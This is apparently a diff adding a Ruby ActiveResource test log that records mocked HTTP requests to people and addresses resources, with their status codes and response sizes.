+I, [2009-09-28T14:52:02.536187 #26952]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+I, [2009-09-28T14:52:02.536270 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.538740 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.538839 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.540189 #26952]  INFO -- : GET http://somewhere.else:80/people/1/shallow.xml
+I, [2009-09-28T14:52:02.540302 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.541635 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.541760 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.543200 #26952]  INFO -- : GET http://somewhere.else:80/people/1/deep.xml
+I, [2009-09-28T14:52:02.543313 #26952]  INFO -- : --> 200 200 (129 0ms)
+I, [2009-09-28T14:52:02.544837 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.544929 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.546096 #26952]  INFO -- : PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+I, [2009-09-28T14:52:02.546274 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.546445 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.546521 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.547738 #26952]  INFO -- : DELETE http://somewhere.else:80/people/1/deactivate.xml
+I, [2009-09-28T14:52:02.547834 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:02.547990 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.548072 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.549234 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+I, [2009-09-28T14:52:02.549326 #26952]  INFO -- : --> 200 200 (139 0ms)
+I, [2009-09-28T14:52:02.550709 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.550808 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.604786 #26952]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+I, [2009-09-28T14:52:02.604956 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.607742 #26952]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-09-28T14:52:02.607876 #26952]  INFO -- : --> 201 201 (78 0ms)
+I, [2009-09-28T14:52:02.608498 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+I, [2009-09-28T14:52:02.608596 #26952]  INFO -- : --> 201 201 (92 0ms)
+I, [2009-09-28T14:52:02.609063 #26952]  INFO -- : POST http://somewhere.else:80/people/1/register.xml
+I, [2009-09-28T14:52:02.609197 #26952]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-09-28T14:52:02.611577 #26952]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-09-28T14:52:02.611681 #26952]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-09-28T14:52:02.621305 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.621466 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.632147 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-28T14:52:02.632303 #26952]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-28T14:52:02.641954 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.642104 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.651960 #26952]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-09-28T14:52:02.652098 #26952]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-09-28T14:52:02.661335 #26952]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-09-28T14:52:02.661490 #26952]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-09-28T14:52:02.670678 #26952]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-09-28T14:52:02.670813 #26952]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-09-28T14:52:02.680093 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-28T14:52:02.680271 #26952]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-28T14:52:02.689394 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/2/addresses.xml
+I, [2009-09-28T14:52:02.689543 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:02.697043 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.697172 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.706010 #26952]  INFO -- : GET http://somewhere.else:80/people/99.xml
+I, [2009-09-28T14:52:02.706149 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:02.706364 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people//addresses/1.xml
+I, [2009-09-28T14:52:02.706450 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:02.714361 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.714500 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.723666 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.723814 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.733784 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.733957 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.743608 #26952]  INFO -- : GET http://somewhere.else:80/companies/1/manager.xml
+I, [2009-09-28T14:52:02.743738 #26952]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-28T14:52:02.752763 #26952]  INFO -- : GET http://somewhere.else:80/people/leader.xml
+I, [2009-09-28T14:52:02.752925 #26952]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-28T14:52:02.811759 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.811920 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.822307 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-28T14:52:02.822474 #26952]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-28T14:52:02.831621 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.831767 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.841653 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-28T14:52:02.841792 #26952]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-28T14:52:02.843917 #26952]  INFO -- : GET http://somewhere.else:80/people.json
+I, [2009-09-28T14:52:02.844023 #26952]  INFO -- : --> 200 200 (48 0ms)
+I, [2009-09-28T14:52:02.845200 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.845282 #26952]  INFO -- : --> 200 200 (224 0ms)
+I, [2009-09-28T14:52:02.847996 #26952]  INFO -- : GET http://somewhere.else:80/people/retrieve.json?name=David
+I, [2009-09-28T14:52:02.848112 #26952]  INFO -- : --> 200 200 (25 0ms)
+I, [2009-09-28T14:52:02.849066 #26952]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=David
+I, [2009-09-28T14:52:02.849188 #26952]  INFO -- : --> 200 200 (149 0ms)
+I, [2009-09-28T14:52:02.851277 #26952]  INFO -- : GET http://somewhere.else:80/people/2.json
+I, [2009-09-28T14:52:02.851398 #26952]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-09-28T14:52:02.851710 #26952]  INFO -- : GET http://somewhere.else:80/people/2/shallow.json
+I, [2009-09-28T14:52:02.851786 #26952]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-09-28T14:52:02.852810 #26952]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-09-28T14:52:02.852899 #26952]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-09-28T14:52:02.854292 #26952]  INFO -- : GET http://somewhere.else:80/people/2/shallow.xml
+I, [2009-09-28T14:52:02.854389 #26952]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-09-28T14:52:02.855825 #26952]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-09-28T14:52:02.855924 #26952]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-09-28T14:52:02.856267 #26952]  INFO -- : POST http://somewhere.else:80/people/new/register.json
+I, [2009-09-28T14:52:02.856348 #26952]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-09-28T14:52:02.856969 #26952]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.857048 #26952]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-09-28T14:52:02.858450 #26952]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-09-28T14:52:02.858540 #26952]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-09-28T14:52:02.859000 #26952]  INFO -- : GET http://somewhere.else:80/people/1.json
+I, [2009-09-28T14:52:02.859086 #26952]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-09-28T14:52:02.859747 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.859825 #26952]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-09-28T14:52:02.861843 #26952]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-09-28T14:52:02.861948 #26952]  INFO -- : --> 201 201 (50 0ms)
+I, [2009-09-28T14:52:02.863211 #26952]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.863297 #26952]  INFO -- : --> 201 201 (132 0ms)
+I, [2009-09-28T14:52:02.865978 #26952]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.866106 #26952]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-09-28T14:52:02.868541 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.868704 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.870297 #26952]  INFO -- : DELETE http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.870434 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:02.871137 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.871229 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.872891 #26952]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.872986 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.875449 #26952]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-09-28T14:52:02.875560 #26952]  INFO -- : --> 201 201 (123 0ms)
+I, [2009-09-28T14:52:02.878486 #26952]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-09-28T14:52:02.878596 #26952]  INFO -- : --> 201 201 (123 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.json
+--> 422 422 (118 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.json
+--> 422 422 (118 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.json
+--> 422 422 (118 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.json
+--> 422 422 (118 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.json
+--> 422 422 (118 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.json
+--> 422 422 (118 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 410 410 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 410 410 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 410 410 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/not-mocked.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (223 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (48 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (25 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (15 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (15 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (23 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (50 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+I, [2009-10-15T10:42:00.965918 #83316]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:00.985066 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:00.986753 #83316]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:00.986916 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:00.987199 #83316]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:00.987314 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:00.988691 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:00.988812 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:01.032768 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.032922 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:01.033165 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.033259 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:01.034861 #83316]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:01.035001 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.037408 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.037542 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:01.037776 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.037869 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:01.072145 #83316]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.072300 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.073448 #83316]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.073560 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:01.073788 #83316]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.073884 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.075093 #83316]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T10:42:01.075206 #83316]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T10:42:01.076434 #83316]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T10:42:01.076542 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:01.076766 #83316]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T10:42:01.076906 #83316]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T10:42:01.078068 #83316]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.078166 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:01.079285 #83316]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.079389 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:01.079599 #83316]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.079687 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:01.080876 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.081152 #83316]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T10:42:01.081387 #83316]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.081625 #83316]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.081858 #83316]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.083196 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.083467 #83316]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-10-15T10:42:01.083694 #83316]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.083939 #83316]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.084217 #83316]  INFO -- : HEAD http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:01.085609 #83316]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:01.085721 #83316]  INFO -- : --> 401 401 (0 0ms)
+I, [2009-10-15T10:42:01.164890 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T10:42:01.165060 #83316]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T10:42:01.194799 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.194968 #83316]  INFO -- : --> 422 422 (209 0ms)
